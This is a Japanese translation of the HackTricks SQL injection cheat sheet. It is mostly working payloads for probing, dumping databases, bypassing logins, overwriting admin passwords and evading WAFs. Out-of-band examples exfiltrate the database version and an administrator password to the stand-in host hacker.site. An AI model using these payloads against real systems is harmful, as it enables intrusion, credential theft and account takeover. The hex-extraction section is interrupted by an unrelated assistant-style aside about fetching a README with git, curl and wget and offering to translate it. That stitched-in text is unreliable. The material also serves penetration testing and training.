SQL Injection

Reading time: 32 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SQL injectionとは何ですか?

An SQL injectionは、攻撃者がアプリケーションのデータベースクエリに干渉できるようにするセキュリティ上の欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含め、本来アクセスすべきでないデータを閲覧改竄、または削除することが可能になります。これらの行為はアプリケーションの機能やコンテンツに恒久的な変更をもたらすことがあり、場合によってはサーバーの乗っ取りや denial of service に至ることもあります。

エントリポイントの検出

サイトが SQLi 関連の入力に対して異常なサーバー応答を示し、SQL injection (SQLi) に対して脆弱に見える場合、最初のステップはクエリを壊さずにどのようにクエリにデータを注入するかを理解することです。これには現在のコンテキストから効果的にエスケープする方法を特定する必要があります。以下はいくつかの有用な例です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、fix the query so there isn't errors方法を理解しておく必要があります。queryを修正するためには、inputデータを与えてprevious query accept the new dataようにするか、または単に自分のデータをinputして行末にcomment symbolを付ける、という方法があります。

Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.

コメント

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理演算による確認

SQL injection 脆弱性を確認する信頼できる方法の一つは、論理演算を実行して期待される結果を観察することです。例えば、?username=Peter のような GET パラメータを ?username=Peter' or '1'='1 に変更しても同一の内容が返る場合、SQL injection 脆弱性があることを示します。

同様に、数学的演算の適用も有効な確認手法となります。例えば、?id=1?id=2-1 にアクセスして同じ結果が得られる場合、それは SQL injection を示唆します。

論理演算による確認の例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

このワードリストは、提案された方法でSQLinjectionsを確認するために作成されました:

真の SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

タイミングでの確認

場合によっては、テストしているページで変化に気づかないことがあります。したがって、DBに処理を実行させてページの読み込み時間に影響を与えることで、blind SQL injections を発見するのが良い方法です。
そこで、SQLクエリ内でconcatを使って、完了に多くの時間を要する処理を連結します:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

場合によっては、sleep functions が許可されないことがあります。その場合、それらの関数を使用する代わりに、クエリに数秒かかるような複雑な操作を実行させることができます。これらの手法の例は各技術ごとに(該当があれば)別途解説します

バックエンドの特定

バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行してみることです。前節の sleep functions を使うか、あるいは以下のものを使うことができます(table from payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

また、クエリの出力にアクセスできる場合、データベースのバージョンを表示させることができます。

tip

今後、さまざまな種類のSQL Injectionを悪用するための異なる手法について説明します。例として MySQL を使用します。

PortSwigger を使った識別

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

列数の検出

クエリの出力が見える場合、これが最も効果的な悪用方法です。
まず最初に、初期リクエストが返しているを特定する必要があります。これは両方のクエリが同じ列数を返す必要があるためです。
この目的のために通常2つの方法が使われます:

Order/Group by

クエリの列数を判定するには、ORDER BYGROUP BY 句で使う番号を段階的に増やし、false(エラー)の応答が返されるまで試します。SQLにおける GROUP BYORDER BY の機能は異なりますが、どちらもクエリの列数を判定する目的では同様に利用できます。

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

null 値を増やして、クエリが正しくなるまで続ける:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null値を使用するべきです。場合によってはクエリの両側のカラムの型が同じでなければならず、null はあらゆる場合で有効です。

データベース名、テーブル名、カラム名の抽出

次の例では、すべてのデータベース名、あるデータベースのテーブル名、およびテーブルのカラム名を取得します:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

各データベースごとにこのデータを発見する方法は異なるが、方法論は常に同じだ.

Exploiting Hidden Union Based

queryのoutputが見えているが、union-based injectionを達成できないように見える場合、これはhidden union-based injectionの存在を示す。この状況はしばしばblind injectionにつながる。blind injectionをunion-basedなものに変換するには、バックエンドで実行されているexecution queryを特定する必要がある。

これはblind injection techniquesと、ターゲットのDatabase Management System (DBMS)に固有のdefault tablesを併用することで達成できる。これらdefault tablesを理解するには、ターゲットDBMSのドキュメントを参照することを推奨する。

queryを抽出したら、まず元のqueryを安全に閉じるようpayloadを調整する必要がある。その後、union queryをpayloadに追加し、新たに利用可能になったunion-based injectionを悪用する。

詳細は、完全な記事 Healing Blind Injections を参照してください。

Exploiting Error based

もし何らかの理由であなたがcannot see the output of the query だが、see the error messagesが見える場合、これらのerror messagesを利用してデータベースからデータをex-filtrateすることができる。
Union Based exploitationと同様の流れを辿れば、DBをdumpすることが可能になる。

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi を悪用する

この場合、クエリの結果やエラーは見えませんが、ページの内容が異なるため、クエリが返す****trueまたはfalseの応答を区別できます。
この挙動を悪用して、データベースを文字ごとにダンプできます:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

これは前と同じケースですが、クエリの true/false レスポンスを区別する代わりに、SQL query における error の有無(例えば HTTP server がクラッシュするため)で区別できます。したがって、この場合は文字(char)を正しく推測するたびに SQLerror を強制できます:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi を悪用する

この場合、ページのコンテキストに基づいてクエリのレスポンス区別する方法はありません。しかし、推測した文字が正しければ、ページの読み込みを遅らせることができます。すでにこの手法がconfirm a SQLi vulnで使用されているのを見ています。

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

You can use stacked queries to 複数のクエリを連続して実行できます。Note that while the subsequent queries are executed, the 結果アプリケーションに返されません。Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oraclestacked queries をサポートしていません。MySQL, Microsoft および PostgreSQL はサポートしています: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

もし他のどの エクスプロイト手法が成功しなかった場合、情報をデータベースからの送出(ex-filtrate)であなたが制御する外部ホストへ送らせることを試みることができます。例えば、DNSクエリ経由で:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE を用いた Out of band data exfiltration

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

SQLMap Cheatsheet を確認して、sqlmap で SQLi 脆弱性を exploit してください。

Tech specific info

既に SQL Injection 脆弱性を exploit する方法はすべて議論しました。本書の以下の章でデータベース技術ごとの追加トリックを確認してください:

または MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQL に関する多数のトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection で見つかります

Authentication bypass

ログイン機能を bypass するために試す一覧:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このクエリは、認証チェックで MD5 を raw output 用の true として使用した場合の脆弱性を示しており、システムが SQL injection に対して脆弱になることを明らかにします。攻撃者は、ハッシュ化した際に予期しない SQL コマンドの一部を生成するような入力を作成してこれを悪用し、不正アクセスを引き起こすことができます。

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推奨リスト:

You should use as username each line of the list and as password always: Pass1234.
(これらの payloads はこのセクションの冒頭で言及した big list にも含まれています)

GBK Authentication Bypass

もし ' がエスケープされている場合は %A8%27 を使うことができます。また ' がエスケープされると次のように作成されます: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python スクリプト:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

そのため、何かを変更して、マスターオブジェクトと同じ名前の新しいオブジェクトを作成することを試みてください(ユーザーの場合はおそらく admin):

  • 次のユーザー名で作成する: AdMIn (大文字と小文字)
  • 次のユーザー名で作成する: admin=
  • SQL Truncation Attack (ユーザー名やメールに何らかの長さ制限がある場合) --> 以下の名前のユーザーを作成: admin [a lot of spaces] a

SQL Truncation Attack

もしデータベースが脆弱で、ユーザー名の最大文字数が例えば30で、ユーザー admin をなりすましたい場合は、ユーザー名を "admin [30 spaces] a" にして任意のパスワードを設定してみてください。

データベースは導入されたユーザー名がデータベース内に存在するかを確認します。もし存在しない場合、ユーザー名許容される最大文字数切り詰めます(この場合は: "admin [25 spaces]")そして末尾のすべてのスペースを自動的に削除してデータベース内のユーザー"admin"のパスワードを更新します(エラーが出ることがありますが、成功していないという意味ではありません)。

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

VALUES ステートメントから抜けるために、','','' を必要なだけ追加します。遅延が実行されれば、SQLInjection が存在します。

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、行の挿入がUNIQUEインデックスまたはPRIMARY KEYに重複する値を生じさせる場合に、データベースが実行する処理を指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています:

Example Payload Injection:

An injection payloadは次のように作成されることがあり、usersテーブルに2行を挿入しようとします。最初の行はデコイで、2行目は既存の管理者のメールアドレスを狙ってパスワードを更新することを目的としています:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

仕組みは次の通りです:

  • このクエリは2つの行を挿入しようとします: 1つは generic_user@example.com 用、もう1つは admin_generic@example.com 用です。
  • もし admin_generic@example.com の行が既に存在する場合、ON DUPLICATE KEY UPDATE 句が発動し、MySQL に既存行の password フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
  • 結果として、admin_generic@example.com とその bcrypt ハッシュに対応するパスワードを使って認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードの bcrypt ハッシュを表しており、実際に使用したいパスワードのハッシュに置き換える必要があります)。

情報を抽出する

同時に2つのアカウントを作成する

新しいユーザーを作成する際、username、password、email が必要です:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数または16進数を使用する

この技術では、アカウントを1つ作成するだけで情報を抽出できます。コメントアウトする必要はない点に注意してください。

hex2decsubstr を使用する:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

テキストを取得するには、次のいずれかを使用できます:

  • git clone + cat
git clone <REPO_URL>
cat <PATH/TO/src/pentesting-web/sql-injection/README.md>
  • git show(リモートの特定ブランチやコミットから)
git -C <LOCAL_REPO_PATH> show <BRANCH_OR_COMMIT>:src/pentesting-web/sql-injection/README.md
  • curl(raw ファイル URL がある場合)
curl -sL "<RAW_FILE_URL>" -o README.md
cat README.md
  • wget(raw ファイル URL がある場合)
wget -qO README.md "<RAW_FILE_URL>"
cat README.md
  • gh CLI(GitHub の場合)
gh repo clone <OWNER/REPO>
cat src/pentesting-web/sql-injection/README.md
  • リポジトリがローカルにあり、ファイル内の一部だけ欲しい場合(例: head/tail/sed)
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
# または
head -n 200 src/pentesting-web/sql-injection/README.md

必要なら、取得した内容をここに貼っていただければ翻訳します。

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace(および substr)を使用する:

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection は、injectable query 自体が出力を返すのではなく、その injectable query の出力が出力を返す別の query に渡される状況です。 (From Paper)

例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass(空白の代替文字を使用)

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを使った bypass

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - parenthesis を使った bypass

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET, FROM and JOIN を使用したバイパス

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

キーワードを使用したBlacklist - uppercase/lowercase を使ってbypass

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist が keywords を case insensitive に使用している場合 - equivalent operator を使って bypass する

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

このトリックの詳細な説明は gosecure blog.
基本的に、scientific notation を予期しない方法で用いることで WAF を回避できます:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名制限の回避

まず、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持つ場合、単に次のようにできることに注意してください: 0 UNION SELECT * FROM flag

次のようなクエリを使うことで、名前を使わずにテーブルの3番目のカラムにアクセスすることが可能です: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;、したがって、sqlinjectionでは次のようになります:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

または comma bypass を使用する:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックは https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ から取られました

Column/tablename injection in SELECT list via subqueries

ユーザ入力が SELECT リストや table/column identifiers に連結される場合、prepared statements は役に立ちません。なぜなら bind parameters は values のみを保護し、identifiers は保護しないからです。よくある脆弱なパターンは:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

悪用のアイデア: フィールド位置にサブクエリを注入して任意のデータを外部に持ち出す:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

注意:

  • この手法は WHERE句 がバウンドパラメータを使用している場合でも機能します。識別子リストが依然として文字列連結されるためです。
  • 一部のスタックでは追加でテーブル名を制御できる(tablename injection)、これによりクロステーブル読み取りが可能になります。
  • 出力スINKは選択された値を HTML/JSON に反映する可能性があり、XSS やレスポンスからのトークン流出を直接許すことがあります。

Mitigations:

  • ユーザー入力から識別子を連結してはなりません。許可する column 名を固定の allow-list にマップし、識別子を適切にクォートしてください。
  • 動的なテーブルアクセスが必要な場合は、有限のセットに制限し、安全なマッピングからサーバー側で解決してください。

WAF バイパス提案ツール

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

その他のガイド

ブルートフォース検出リスト

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする